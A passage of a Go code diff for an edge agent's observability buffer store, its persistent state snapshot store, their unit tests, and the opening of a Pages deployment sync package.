if merged[i].LoggedAtUnix == merged[j].LoggedAtUnix {
|
||||
return accessLogKey(merged[i]) < accessLogKey(merged[j])
|
||||
}
|
||||
return merged[i].LoggedAtUnix < merged[j].LoggedAtUnix
|
||||
})
|
||||
return merged
|
||||
}
|
||||
|
||||
func accessLogKey(item protocol.NodeAccessLog) string {
|
||||
return strconv.FormatInt(item.LoggedAtUnix, 10) + "|" + item.RemoteAddr + "|" + item.Host + "|" + item.Path + "|" + item.UserAgent + "|" + item.CacheStatus + "|" + strconv.Itoa(item.StatusCode)
|
||||
}
|
||||
|
||||
// Replayable returns buffered records from windows before currentWindowStartedAtUnix.
|
||||
func (s *ObservabilityBufferStore) Replayable(currentWindowStartedAtUnix int64, retainAfterUnix int64) ([]ObservabilityBufferRecord, error) {
|
||||
if s == nil {
|
||||
return nil, nil
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
records, err := s.loadUnlocked()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
records = pruneObservabilityBufferRecords(records, retainAfterUnix)
|
||||
if err = s.saveUnlocked(records); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
result := make([]ObservabilityBufferRecord, 0, len(records))
|
||||
for _, record := range records {
|
||||
if currentWindowStartedAtUnix > 0 && record.WindowStartedAtUnix >= currentWindowStartedAtUnix {
|
||||
continue
|
||||
}
|
||||
result = append(result, record)
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// Ack removes acknowledged observability windows and prunes entries older than retainAfterUnix.
|
||||
func (s *ObservabilityBufferStore) Ack(windowStartedAtUnix []int64, retainAfterUnix int64) error {
|
||||
if s == nil || len(windowStartedAtUnix) == 0 {
|
||||
return nil
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
records, err := s.loadUnlocked()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
acked := make(map[int64]struct{}, len(windowStartedAtUnix))
|
||||
for _, value := range windowStartedAtUnix {
|
||||
if value > 0 {
|
||||
acked[value] = struct{}{}
|
||||
}
|
||||
}
|
||||
filtered := make([]ObservabilityBufferRecord, 0, len(records))
|
||||
for _, record := range records {
|
||||
if _, ok := acked[record.WindowStartedAtUnix]; ok {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, record)
|
||||
}
|
||||
filtered = pruneObservabilityBufferRecords(filtered, retainAfterUnix)
|
||||
return s.saveUnlocked(filtered)
|
||||
}
|
||||
|
||||
func (s *ObservabilityBufferStore) loadUnlocked() ([]ObservabilityBufferRecord, error) {
|
||||
if s.cacheLoaded {
|
||||
copied := make([]ObservabilityBufferRecord, len(s.cache))
|
||||
copy(copied, s.cache)
|
||||
return copied, nil
|
||||
}
|
||||
data, err := os.ReadFile(s.path)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
s.cache = []ObservabilityBufferRecord{}
|
||||
s.cacheLoaded = true
|
||||
return []ObservabilityBufferRecord{}, nil
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
s.cache = []ObservabilityBufferRecord{}
|
||||
s.cacheLoaded = true
|
||||
return []ObservabilityBufferRecord{}, nil
|
||||
}
|
||||
|
||||
// Binary upgrade: drop pre-v2 or corrupt buffer entirely; agent rebuilds on subsequent heartbeats.
|
||||
records, reason, ok := parseObservabilityBufferDisk(data)
|
||||
if !ok {
|
||||
s.discardBufferFile(reason)
|
||||
return []ObservabilityBufferRecord{}, nil
|
||||
}
|
||||
|
||||
s.cache = records
|
||||
s.cacheLoaded = true
|
||||
copied := make([]ObservabilityBufferRecord, len(s.cache))
|
||||
copy(copied, s.cache)
|
||||
return copied, nil
|
||||
}
|
||||
|
||||
// parseObservabilityBufferDisk returns v2 records, or ok=false when the on-disk file should be wiped.
|
||||
func parseObservabilityBufferDisk(data []byte) (records []ObservabilityBufferRecord, reason string, ok bool) {
|
||||
raw := strings.TrimSpace(string(data))
|
||||
if raw == "" {
|
||||
return []ObservabilityBufferRecord{}, "", true
|
||||
}
|
||||
// Valid buffer is a JSON array of window records.
|
||||
if !strings.HasPrefix(raw, "[") {
|
||||
return nil, "legacy or unreadable observability buffer", false
|
||||
}
|
||||
// Pre-v2 keys: discard whole file (no field migration).
|
||||
if strings.Contains(raw, `"snapshot"`) ||
|
||||
strings.Contains(raw, `"openresty_observation"`) ||
|
||||
strings.Contains(raw, `"traffic_report"`) {
|
||||
return nil, "legacy observability buffer format", false
|
||||
}
|
||||
if err := json.Unmarshal(data, &records); err != nil {
|
||||
return nil, "observability buffer JSON decode failed", false
|
||||
}
|
||||
return records, "", true
|
||||
}
|
||||
|
||||
func (s *ObservabilityBufferStore) discardBufferFile(reason string) {
|
||||
if err := os.Remove(s.path); err != nil && !os.IsNotExist(err) {
|
||||
slog.Warn("remove observability buffer failed", "path", s.path, "reason", reason, "error", err)
|
||||
} else {
|
||||
slog.Info("discarded observability buffer; will rebuild on run", "path", s.path, "reason", reason)
|
||||
}
|
||||
s.cache = []ObservabilityBufferRecord{}
|
||||
s.cacheLoaded = true
|
||||
}
|
||||
|
||||
func (s *ObservabilityBufferStore) saveUnlocked(records []ObservabilityBufferRecord) error {
|
||||
if err := os.MkdirAll(filepath.Dir(s.path), stateDirPerm); err != nil {
|
||||
return err
|
||||
}
|
||||
data, err := json.MarshalIndent(records, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.WriteFile(s.path, data, stateFilePerm); err != nil { //nolint:gosec // path is agent-local buffer path from config
|
||||
return err
|
||||
}
|
||||
s.cache = records
|
||||
s.cacheLoaded = true
|
||||
return nil
|
||||
}
|
||||
|
||||
// ObservabilityWindowStartedAt returns the 60s window start for host metrics or edge health.
|
||||
func ObservabilityWindowStartedAt(hostMetrics *protocol.NodeMetricSnapshot, edgeHealth *protocol.NodeEdgeHealth) int64 {
|
||||
if edgeHealth != nil && edgeHealth.CapturedAtUnix > 0 {
|
||||
return edgeHealth.CapturedAtUnix - (edgeHealth.CapturedAtUnix % observabilityBufferWindowSeconds)
|
||||
}
|
||||
if hostMetrics == nil || hostMetrics.CapturedAtUnix <= 0 {
|
||||
return 0
|
||||
}
|
||||
return hostMetrics.CapturedAtUnix - (hostMetrics.CapturedAtUnix % observabilityBufferWindowSeconds)
|
||||
}
|
||||
|
||||
func pruneObservabilityBufferRecords(records []ObservabilityBufferRecord, retainAfterUnix int64) []ObservabilityBufferRecord {
|
||||
if len(records) == 0 {
|
||||
return []ObservabilityBufferRecord{}
|
||||
}
|
||||
filtered := make([]ObservabilityBufferRecord, 0, len(records))
|
||||
for _, record := range records {
|
||||
if record.WindowStartedAtUnix <= 0 {
|
||||
continue
|
||||
}
|
||||
if retainAfterUnix > 0 && record.WindowStartedAtUnix < retainAfterUnix {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, record)
|
||||
}
|
||||
sort.Slice(filtered, func(i int, j int) bool {
|
||||
return filtered[i].WindowStartedAtUnix < filtered[j].WindowStartedAtUnix
|
||||
})
|
||||
return filtered
|
||||
}
|
||||
@@ -0,0 +1,194 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package state
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
)
|
||||
|
||||
func TestObservabilityBufferStoreUpsertReplayAndAck(t *testing.T) {
|
||||
store := NewObservabilityBufferStore(filepath.Join(t.TempDir(), "observability-buffer.json"))
|
||||
|
||||
if err := store.Upsert(ObservabilityBufferRecord{
|
||||
WindowStartedAtUnix: 1710403200,
|
||||
HostMetrics: &protocol.NodeMetricSnapshot{CapturedAtUnix: 1710403205},
|
||||
EdgeHealth: &protocol.NodeEdgeHealth{CapturedAtUnix: 1710403205, Connections: 5},
|
||||
QueuedAtUnix: 1710403205,
|
||||
}, 1710403000); err != nil {
|
||||
t.Fatalf("first upsert failed: %v", err)
|
||||
}
|
||||
if err := store.Upsert(ObservabilityBufferRecord{
|
||||
WindowStartedAtUnix: 1710403200,
|
||||
HostMetrics: &protocol.NodeMetricSnapshot{CapturedAtUnix: 1710403255, CPUUsagePercent: 40},
|
||||
EdgeHealth: &protocol.NodeEdgeHealth{CapturedAtUnix: 1710403255, Connections: 12},
|
||||
QueuedAtUnix: 1710403255,
|
||||
}, 1710403000); err != nil {
|
||||
t.Fatalf("second upsert failed: %v", err)
|
||||
}
|
||||
if err := store.Upsert(ObservabilityBufferRecord{
|
||||
WindowStartedAtUnix: 1710403260,
|
||||
HostMetrics: &protocol.NodeMetricSnapshot{CapturedAtUnix: 1710403265},
|
||||
QueuedAtUnix: 1710403265,
|
||||
}, 1710403000); err != nil {
|
||||
t.Fatalf("third upsert failed: %v", err)
|
||||
}
|
||||
|
||||
records, err := store.Replayable(1710403260, 1710403000)
|
||||
if err != nil {
|
||||
t.Fatalf("Replayable failed: %v", err)
|
||||
}
|
||||
if len(records) != 1 {
|
||||
t.Fatalf("expected one replayable record before current window, got %d", len(records))
|
||||
}
|
||||
if records[0].EdgeHealth == nil || records[0].EdgeHealth.Connections != 12 {
|
||||
t.Fatalf("expected replayable record to keep latest upsert, got %+v", records[0])
|
||||
}
|
||||
|
||||
if err = store.Ack([]int64{1710403200}, 1710403000); err != nil {
|
||||
t.Fatalf("Ack failed: %v", err)
|
||||
}
|
||||
records, err = store.Replayable(0, 1710403000)
|
||||
if err != nil {
|
||||
t.Fatalf("Replayable after ack failed: %v", err)
|
||||
}
|
||||
if len(records) != 1 || records[0].WindowStartedAtUnix != 1710403260 {
|
||||
t.Fatalf("unexpected records after ack: %+v", records)
|
||||
}
|
||||
}
|
||||
|
||||
func TestObservabilityBufferStoreMergesAccessLogsWithinWindow(t *testing.T) {
|
||||
store := NewObservabilityBufferStore(filepath.Join(t.TempDir(), "observability-buffer.json"))
|
||||
|
||||
if err := store.Upsert(ObservabilityBufferRecord{
|
||||
WindowStartedAtUnix: 1710403200,
|
||||
AccessLogs: []protocol.NodeAccessLog{
|
||||
{LoggedAtUnix: 1710403201, RemoteAddr: "10.0.0.1", Host: "app.example.com", Path: "/a", StatusCode: 200, CacheStatus: "HIT"},
|
||||
},
|
||||
}, 1710403000); err != nil {
|
||||
t.Fatalf("first upsert failed: %v", err)
|
||||
}
|
||||
if err := store.Upsert(ObservabilityBufferRecord{
|
||||
WindowStartedAtUnix: 1710403200,
|
||||
AccessLogs: []protocol.NodeAccessLog{
|
||||
// Same identity except cache status — must not collapse HIT/MISS.
|
||||
{LoggedAtUnix: 1710403201, RemoteAddr: "10.0.0.1", Host: "app.example.com", Path: "/a", StatusCode: 200, CacheStatus: "HIT"},
|
||||
{LoggedAtUnix: 1710403201, RemoteAddr: "10.0.0.1", Host: "app.example.com", Path: "/a", StatusCode: 200, CacheStatus: "MISS"},
|
||||
{LoggedAtUnix: 1710403205, RemoteAddr: "10.0.0.2", Host: "app.example.com", Path: "/b", StatusCode: 502},
|
||||
},
|
||||
}, 1710403000); err != nil {
|
||||
t.Fatalf("second upsert failed: %v", err)
|
||||
}
|
||||
|
||||
records, err := store.Replayable(0, 1710403000)
|
||||
if err != nil {
|
||||
t.Fatalf("Replayable failed: %v", err)
|
||||
}
|
||||
if len(records) != 1 || len(records[0].AccessLogs) != 3 {
|
||||
t.Fatalf("expected merged access logs with distinct cache_status, got %+v", records)
|
||||
}
|
||||
}
|
||||
|
||||
func TestObservabilityWindowStartedAt(t *testing.T) {
|
||||
if value := ObservabilityWindowStartedAt(nil, &protocol.NodeEdgeHealth{CapturedAtUnix: 1710403259}); value != 1710403200 {
|
||||
t.Fatalf("unexpected edge-health window start: %d", value)
|
||||
}
|
||||
if value := ObservabilityWindowStartedAt(&protocol.NodeMetricSnapshot{CapturedAtUnix: 1710403259}, nil); value != 1710403200 {
|
||||
t.Fatalf("unexpected host-metrics window start: %d", value)
|
||||
}
|
||||
}
|
||||
|
||||
func TestObservabilityBufferStoreDiscardsLegacyDiskJSON(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "observability-buffer.json")
|
||||
legacy := `[{
|
||||
"window_started_at_unix": 1710403200,
|
||||
"snapshot": {"captured_at_unix": 1710403205, "cpu_usage_percent": 11.5},
|
||||
"openresty_observation": {"captured_at_unix": 1710403206, "openresty_connections": 7},
|
||||
"traffic_report": {"request_count": 42},
|
||||
"access_logs": [{"logged_at_unix": 1710403201, "path": "/", "status_code": 200}]
|
||||
}]`
|
||||
if err := os.WriteFile(path, []byte(legacy), 0o644); err != nil {
|
||||
t.Fatalf("WriteFile: %v", err)
|
||||
}
|
||||
|
||||
store := NewObservabilityBufferStore(path)
|
||||
records, err := store.Replayable(0, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("Replayable: %v", err)
|
||||
}
|
||||
if len(records) != 0 {
|
||||
t.Fatalf("expected legacy buffer discarded, got %+v", records)
|
||||
}
|
||||
// Replayable may rewrite an empty v2 array; legacy keys must be gone.
|
||||
if body, err := os.ReadFile(path); err == nil {
|
||||
raw := string(body)
|
||||
for _, key := range []string{`"snapshot"`, `"openresty_observation"`, `"traffic_report"`} {
|
||||
if strings.Contains(raw, key) {
|
||||
t.Fatalf("legacy key %s still present: %s", key, raw)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fresh upsert after discard should create a clean v2 file.
|
||||
if err := store.Upsert(ObservabilityBufferRecord{
|
||||
WindowStartedAtUnix: 1710403200,
|
||||
HostMetrics: &protocol.NodeMetricSnapshot{CapturedAtUnix: 1710403205},
|
||||
}, 0); err != nil {
|
||||
t.Fatalf("Upsert after discard: %v", err)
|
||||
}
|
||||
records, err = store.Replayable(0, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("Replayable after rebuild: %v", err)
|
||||
}
|
||||
if len(records) != 1 || records[0].HostMetrics == nil {
|
||||
t.Fatalf("expected rebuilt buffer, got %+v", records)
|
||||
}
|
||||
}
|
||||
|
||||
func TestObservabilityBufferStoreDiscardsCorruptJSON(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "observability-buffer.json")
|
||||
if err := os.WriteFile(path, []byte(`{not-json`), 0o644); err != nil {
|
||||
t.Fatalf("WriteFile: %v", err)
|
||||
}
|
||||
store := NewObservabilityBufferStore(path)
|
||||
records, err := store.Replayable(0, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("Replayable should not fail: %v", err)
|
||||
}
|
||||
if len(records) != 0 {
|
||||
t.Fatalf("expected empty after discard, got %+v", records)
|
||||
}
|
||||
// Corrupt payload must not remain; empty rewrite is fine.
|
||||
if body, err := os.ReadFile(path); err == nil && strings.Contains(string(body), "not-json") {
|
||||
t.Fatalf("corrupt content still on disk: %s", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestObservabilityBufferStoreKeepsModernJSON(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "observability-buffer.json")
|
||||
modern := `[{
|
||||
"window_started_at_unix": 1710403200,
|
||||
"host_metrics": {"captured_at_unix": 1710403205, "cpu_usage_percent": 3},
|
||||
"edge_health": {"captured_at_unix": 1710403205, "status": "healthy", "connections": 2},
|
||||
"access_logs": []
|
||||
}]`
|
||||
if err := os.WriteFile(path, []byte(modern), 0o644); err != nil {
|
||||
t.Fatalf("WriteFile: %v", err)
|
||||
}
|
||||
store := NewObservabilityBufferStore(path)
|
||||
records, err := store.Replayable(0, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("Replayable: %v", err)
|
||||
}
|
||||
if len(records) != 1 || records[0].HostMetrics == nil || records[0].HostMetrics.CPUUsagePercent != 3 {
|
||||
t.Fatalf("modern buffer should be kept: %+v", records)
|
||||
}
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
t.Fatalf("modern buffer file should remain: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package state
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
)
|
||||
|
||||
const (
|
||||
stateDirPerm = 0o750
|
||||
stateFilePerm = 0o600
|
||||
nodeIDRandomBytes = 8
|
||||
)
|
||||
|
||||
// PagesDeployment records a Pages project tracked by the agent and the last
|
||||
// applied package hash for that project's active deployment.
|
||||
// ProjectID is the stable identity; DeploymentID/Hash follow control-plane "latest".
|
||||
type PagesDeployment struct {
|
||||
ProjectID uint `json:"project_id"`
|
||||
DeploymentID uint `json:"deployment_id,omitempty"`
|
||||
Hash string `json:"hash"`
|
||||
Checksum string `json:"checksum,omitempty"`
|
||||
}
|
||||
|
||||
// Snapshot represents the state of the agent at a given point in time.
|
||||
type Snapshot struct {
|
||||
NodeID string `json:"node_id"`
|
||||
CurrentVersion string `json:"current_version"`
|
||||
CurrentChecksum string `json:"current_checksum"`
|
||||
PagesDeployments []PagesDeployment `json:"pages_deployments"`
|
||||
BlockedVersion string `json:"blocked_version"`
|
||||
BlockedChecksum string `json:"blocked_checksum"`
|
||||
BlockedReason string `json:"blocked_reason"`
|
||||
LastError string `json:"last_error"`
|
||||
OpenrestyStatus string `json:"openresty_status"`
|
||||
OpenrestyMessage string `json:"openresty_message"`
|
||||
LastProfileFingerprint string `json:"last_profile_fingerprint"`
|
||||
LastCPUStatTotal uint64 `json:"last_cpu_stat_total"`
|
||||
LastCPUStatIdle uint64 `json:"last_cpu_stat_idle"`
|
||||
LastMetricAtUnix int64 `json:"last_metric_at_unix"`
|
||||
AccessLogOffset int64 `json:"access_log_offset"`
|
||||
}
|
||||
|
||||
// Store manages the storage and retrieval of the agent state snapshot.
|
||||
type Store struct {
|
||||
path string
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// NewStore creates a new Store instance at the given path.
|
||||
func NewStore(path string) *Store {
|
||||
return &Store{path: filepath.Clean(path)}
|
||||
}
|
||||
|
||||
// Load loads the snapshot from the store.
|
||||
func (s *Store) Load() (*Snapshot, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
return s.loadUnlocked()
|
||||
}
|
||||
|
||||
// EnsureNodeID returns the existing node ID, or generates and saves a new one if it does not exist.
|
||||
func (s *Store) EnsureNodeID() (string, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
snapshot, err := s.loadUnlocked()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if snapshot.NodeID != "" {
|
||||
return snapshot.NodeID, nil
|
||||
}
|
||||
snapshot.NodeID, err = newNodeID()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err = s.saveUnlocked(snapshot); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return snapshot.NodeID, nil
|
||||
}
|
||||
|
||||
// Save saves the given snapshot to the store.
|
||||
func (s *Store) Save(snapshot *Snapshot) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
return s.saveUnlocked(snapshot)
|
||||
}
|
||||
|
||||
func (s *Store) loadUnlocked() (*Snapshot, error) {
|
||||
data, err := os.ReadFile(s.path)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return &Snapshot{}, nil
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
snapshot := &Snapshot{}
|
||||
if len(data) == 0 {
|
||||
return snapshot, nil
|
||||
}
|
||||
if err = json.Unmarshal(data, snapshot); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return snapshot, nil
|
||||
}
|
||||
|
||||
func (s *Store) saveUnlocked(snapshot *Snapshot) error {
|
||||
if err := os.MkdirAll(filepath.Dir(s.path), stateDirPerm); err != nil {
|
||||
return err
|
||||
}
|
||||
data, err := json.MarshalIndent(snapshot, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(s.path, data, stateFilePerm)
|
||||
}
|
||||
|
||||
func newNodeID() (string, error) {
|
||||
buf := make([]byte, nodeIDRandomBytes)
|
||||
if _, err := rand.Read(buf); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "node-" + hex.EncodeToString(buf), nil
|
||||
}
|
||||
@@ -0,0 +1,153 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package state
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestEnsureNodeIDPersists(t *testing.T) {
|
||||
store := NewStore(filepath.Join(t.TempDir(), "state.json"))
|
||||
nodeID1, err := store.EnsureNodeID()
|
||||
if err != nil {
|
||||
t.Fatalf("EnsureNodeID failed: %v", err)
|
||||
}
|
||||
nodeID2, err := store.EnsureNodeID()
|
||||
if err != nil {
|
||||
t.Fatalf("EnsureNodeID second call failed: %v", err)
|
||||
}
|
||||
if nodeID1 == "" || nodeID1 != nodeID2 {
|
||||
t.Fatal("expected node id to persist across calls")
|
||||
}
|
||||
}
|
||||
|
||||
func TestStore_Load_NonExistentFile(t *testing.T) {
|
||||
// Loading from a non-existent path should succeed and return an empty Snapshot
|
||||
tempFile := filepath.Join(t.TempDir(), "nonexistent.json")
|
||||
store := NewStore(tempFile)
|
||||
|
||||
snap, err := store.Load()
|
||||
if err != nil {
|
||||
t.Fatalf("expected Load to succeed for non-existent file, got err: %v", err)
|
||||
}
|
||||
if snap == nil {
|
||||
t.Fatal("expected non-nil snapshot")
|
||||
}
|
||||
if snap.NodeID != "" || snap.CurrentVersion != "" {
|
||||
t.Errorf("expected empty snapshot, got: %+v", snap)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStore_Load_EmptyFile(t *testing.T) {
|
||||
// Loading from an empty file should succeed and return an empty Snapshot
|
||||
tempFile := filepath.Join(t.TempDir(), "empty.json")
|
||||
if err := os.WriteFile(tempFile, []byte(""), 0644); err != nil {
|
||||
t.Fatalf("failed to create empty file: %v", err)
|
||||
}
|
||||
|
||||
store := NewStore(tempFile)
|
||||
snap, err := store.Load()
|
||||
if err != nil {
|
||||
t.Fatalf("expected Load to succeed for empty file, got err: %v", err)
|
||||
}
|
||||
if snap == nil {
|
||||
t.Fatal("expected non-nil snapshot")
|
||||
}
|
||||
if snap.NodeID != "" {
|
||||
t.Errorf("expected empty snapshot, got: %+v", snap)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStore_Load_InvalidJSON(t *testing.T) {
|
||||
// Loading from a corrupted file with invalid JSON should fail with parsing error
|
||||
tempFile := filepath.Join(t.TempDir(), "corrupted.json")
|
||||
if err := os.WriteFile(tempFile, []byte("{invalid-json"), 0644); err != nil {
|
||||
t.Fatalf("failed to create corrupted file: %v", err)
|
||||
}
|
||||
|
||||
store := NewStore(tempFile)
|
||||
_, err := store.Load()
|
||||
if err == nil {
|
||||
t.Fatal("expected Load to fail for corrupted JSON file")
|
||||
}
|
||||
}
|
||||
|
||||
func TestStore_SaveAndLoad(t *testing.T) {
|
||||
tempFile := filepath.Join(t.TempDir(), "state.json")
|
||||
store := NewStore(tempFile)
|
||||
|
||||
original := &Snapshot{
|
||||
NodeID: "node-test-123",
|
||||
CurrentVersion: "20260531-001",
|
||||
CurrentChecksum: "chk-active-xyz",
|
||||
BlockedVersion: "20260531-002",
|
||||
BlockedChecksum: "chk-blocked-abc",
|
||||
BlockedReason: "invalid upstream domain name",
|
||||
LastError: "configuration reload timeout",
|
||||
OpenrestyStatus: "unhealthy",
|
||||
}
|
||||
|
||||
if err := store.Save(original); err != nil {
|
||||
t.Fatalf("expected Save to succeed, got: %v", err)
|
||||
}
|
||||
|
||||
loaded, err := store.Load()
|
||||
if err != nil {
|
||||
t.Fatalf("expected Load to succeed, got: %v", err)
|
||||
}
|
||||
|
||||
if loaded.NodeID != original.NodeID ||
|
||||
loaded.CurrentVersion != original.CurrentVersion ||
|
||||
loaded.CurrentChecksum != original.CurrentChecksum ||
|
||||
loaded.BlockedVersion != original.BlockedVersion ||
|
||||
loaded.BlockedChecksum != original.BlockedChecksum ||
|
||||
loaded.BlockedReason != original.BlockedReason ||
|
||||
loaded.LastError != original.LastError ||
|
||||
loaded.OpenrestyStatus != original.OpenrestyStatus {
|
||||
t.Errorf("loaded snapshot does not match original: %+v vs %+v", loaded, original)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStore_ConcurrencySafety(t *testing.T) {
|
||||
tempFile := filepath.Join(t.TempDir(), "state.json")
|
||||
store := NewStore(tempFile)
|
||||
|
||||
var wg sync.WaitGroup
|
||||
workers := 20
|
||||
iterations := 50
|
||||
|
||||
// Run concurrent writers and readers
|
||||
for i := 0; i < workers; i++ {
|
||||
wg.Add(1)
|
||||
go func(workerID int) {
|
||||
defer wg.Done()
|
||||
for j := 0; j < iterations; j++ {
|
||||
// Concurrently save
|
||||
snap := &Snapshot{
|
||||
NodeID: fmt.Sprintf("node-%d", workerID),
|
||||
CurrentVersion: fmt.Sprintf("v-%d", j),
|
||||
}
|
||||
if err := store.Save(snap); err != nil {
|
||||
t.Errorf("Save failed under concurrency: %v", err)
|
||||
}
|
||||
|
||||
// Concurrently load
|
||||
if _, err := store.Load(); err != nil {
|
||||
t.Errorf("Load failed under concurrency: %v", err)
|
||||
}
|
||||
|
||||
// Concurrently ensure ID
|
||||
if _, err := store.EnsureNodeID(); err != nil {
|
||||
t.Errorf("EnsureNodeID failed under concurrency: %v", err)
|
||||
}
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
}
|
||||
@@ -0,0 +1,991 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package sync applies control-plane configuration to the local agent runtime.
|
||||
package sync
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log/slog"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
"Wavelet/openflare/plugins/agent/state"
|
||||
"Wavelet/openflare/share/pagesarchive"
|
||||
)
|
||||
|
||||
const (
|
||||
pagesDirPerm = 0o755
|
||||
pagesFilePerm = 0o644
|
||||
pagesManifestFilePerm = 0o644
|
||||
agentPagesMaxPackageBytes = int64(2 * 1024 * 1024 * 1024)
|
||||
agentPagesMaxFiles = 1000
|
||||
agentPagesMaxFileBytes = int64(8 * 1024 * 1024 * 1024)
|
||||
agentPagesMaxTotalBytes = int64(8 * 1024 * 1024 * 1024)
|
||||
// pagesLatestPullAttempts covers a race where the active deployment changes
|
||||
// between the hash probe and the package download.
|
||||
pagesLatestPullAttempts = 2
|
||||
)
|
||||
|
||||
type pagesSourceDocument struct {
|
||||
Routes []pagesSourceRoute `json:"routes"`
|
||||
}
|
||||
|
||||
type pagesSourceRoute struct {
|
||||
UpstreamType string `json:"upstream_type"`
|
||||
PagesProjectID *uint `json:"pages_project_id"`
|
||||
PagesDeployment *pagesDeploymentSource `json:"pages_deployment"`
|
||||
}
|
||||
|
||||
// pagesProjectRef is the agent-side "latest" pointer for one Pages project.
|
||||
type pagesProjectRef struct {
|
||||
ProjectID uint
|
||||
DeploymentID uint
|
||||
Checksum string
|
||||
}
|
||||
|
||||
type pagesPackageLimits struct {
|
||||
PackageBytes int64
|
||||
Extraction pagesarchive.Limits
|
||||
}
|
||||
|
||||
type pagesDeploymentMarker struct {
|
||||
ProjectID uint `json:"project_id"`
|
||||
DeploymentID uint `json:"deployment_id,omitempty"`
|
||||
Checksum string `json:"checksum"`
|
||||
}
|
||||
|
||||
func pagesDeploymentStateHash(item state.PagesDeployment) string {
|
||||
if hash := strings.TrimSpace(item.Hash); hash != "" {
|
||||
return hash
|
||||
}
|
||||
return strings.TrimSpace(item.Checksum)
|
||||
}
|
||||
|
||||
func snapshotPagesProjects(snapshot *state.Snapshot) []pagesProjectRef {
|
||||
if snapshot == nil || snapshot.PagesDeployments == nil {
|
||||
return nil
|
||||
}
|
||||
result := make([]pagesProjectRef, 0, len(snapshot.PagesDeployments))
|
||||
for _, item := range snapshot.PagesDeployments {
|
||||
projectID := item.ProjectID
|
||||
if projectID == 0 {
|
||||
// Legacy agent state only stored deployment_id; skip until rediscovered from config.
|
||||
continue
|
||||
}
|
||||
result = append(result, pagesProjectRef{
|
||||
ProjectID: projectID,
|
||||
DeploymentID: item.DeploymentID,
|
||||
Checksum: pagesDeploymentStateHash(item),
|
||||
})
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func setSnapshotPagesProjects(snapshot *state.Snapshot, projects []pagesProjectRef) {
|
||||
if snapshot == nil {
|
||||
return
|
||||
}
|
||||
if len(projects) == 0 {
|
||||
snapshot.PagesDeployments = []state.PagesDeployment{}
|
||||
return
|
||||
}
|
||||
snapshot.PagesDeployments = make([]state.PagesDeployment, len(projects))
|
||||
for i, project := range projects {
|
||||
snapshot.PagesDeployments[i] = state.PagesDeployment{
|
||||
ProjectID: project.ProjectID,
|
||||
DeploymentID: project.DeploymentID,
|
||||
Hash: strings.TrimSpace(project.Checksum),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func updateSnapshotPagesProject(snapshot *state.Snapshot, project pagesProjectRef) {
|
||||
if snapshot == nil || snapshot.PagesDeployments == nil {
|
||||
return
|
||||
}
|
||||
hash := strings.TrimSpace(project.Checksum)
|
||||
for i := range snapshot.PagesDeployments {
|
||||
